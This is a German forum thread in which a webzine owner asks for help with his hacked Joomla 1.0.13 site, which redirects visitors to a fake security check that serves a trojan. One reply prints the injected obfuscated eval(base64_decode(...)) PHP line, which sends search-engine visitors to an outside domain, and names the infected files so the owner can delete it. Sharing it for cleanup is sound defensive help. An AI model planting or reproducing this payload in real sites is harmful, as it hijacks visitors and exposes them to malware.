TS1470

Hallo, ich betreibe ein kleines nicht kommerzielles Webzine Rock 'n' Roll Reporter - Home
Seit einigen Tagen wird die Seite gerne einmal umgeleitet zu einem gefaked Sicherheitscheck, der am Ende das packupdate107 (Trojaner) laden will. Ich bin schlichtweg verzweifelt, da die Seite recht gut besucht ist. Was kann ich tun bzw ich finde diese Umleitung nicht. Ich nutze ein altes Joomla (1013) weil ich die Migration auf 1.5 wegen des recht eigenen Templates bisher gescheut habe.

Irgendwelche Idee, was ich tun kann?
Danke!

Lotus

Da wird sich irgendwas bei dir eingeschlichen haben.. aber ehrlich.. die Updates von Joomla sind doch nicht einfach nur Erweiterungen der Funktionen, sondern sind sicherlich auch dafür da Sicherheitslücken zu schließen...
Ich weiß jetzt nicht welcher Aufwand das sein wird, aber du solltest deine Seite erstmal komplett vom Netz nehmen, am besten ne "Wir sind in Kürze wieder für sie da" - Notpage online stellen und dann komplett aufs neuste Joomla umstellen. Ich weiß nicht wie deine Inhalte bei Jommla verwaltet werden etc.. aber am besten wäre es wenn du alles Stück für Stück neu machen würdest.. deinen Webspace solltest du natürlich einmal komplett clearen und dann alles neu und vorallem "sicher" aufspielen..

naderino

Wenn deine seite umgeleitet wird auf irgend eine andere seite, liegt darin das auf deine seite eine eval code eingesetzt ist.

Die Änderungen betrifft in Ordner includes --> defines.php.
und in Hauptordner die configuration.php und index.php

Es wird eine eval()-Anweisung eingesetzt. Einfach den Code Löschen und Speichern.

Diese CODE einfach löschen!

*/ eval(base64_decode("CglpZiAoc3RyaXN0cigkX1NFUlZFUl tIVFRQX1JFRkVSRVJdLCJnb29nbGUiKSkgewoJaWYgKCFzdHJp c3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sIi5udSIpIGFuZC Ahc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJzaXRl IikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl 0sImludXJsIikpewoJCXByZWdfbWF0Y2ggKCIvcVw9KC4qKS8i LCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsKCQlpZiAoc3 RyaXN0cigka2tbMV0sIiYiKSkgewoJCQlwcmVnX21hdGNoICgi LyguKj8pXCYvIiwka2tbMV0sJGtleTIpOwoJCQkka2V5d29yZD 11cmxkZWNvZGUoJGtleTJbMV0pOwoJCX1lbHNlIHsKCQkJJGtl eXdvcmQ9dXJsZGVjb2RlKCRra1sxXSk7CgkJfQoJCWhlYWRlci giTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRrZXl3b3JkKTsKCQlleGl0KCk7Cgl9Cgp9ZWxzZWlmIC hzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9v IikpIHsKcHJlZ19tYXRjaCAoIi9wXD0oLio/KSYvIiwkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCRrayk7CgkJaG VhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZnbmZkZnRocnYuYmVl LnBsLz9xPSIuJGtrWzFdKTsKCQlleGl0KCk7Cn1lbHNlaWYgKH N0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiYmluZyIp KSB7CnByZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRV JbSFRUUF9SRUZFUkVSXSwka2spOwoJCWhlYWRlcigiTG9jYXRp b246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRra1sxXSk7CgkJZXhpdCgpOwp9Cgk="));

Gruß
Anti Hacker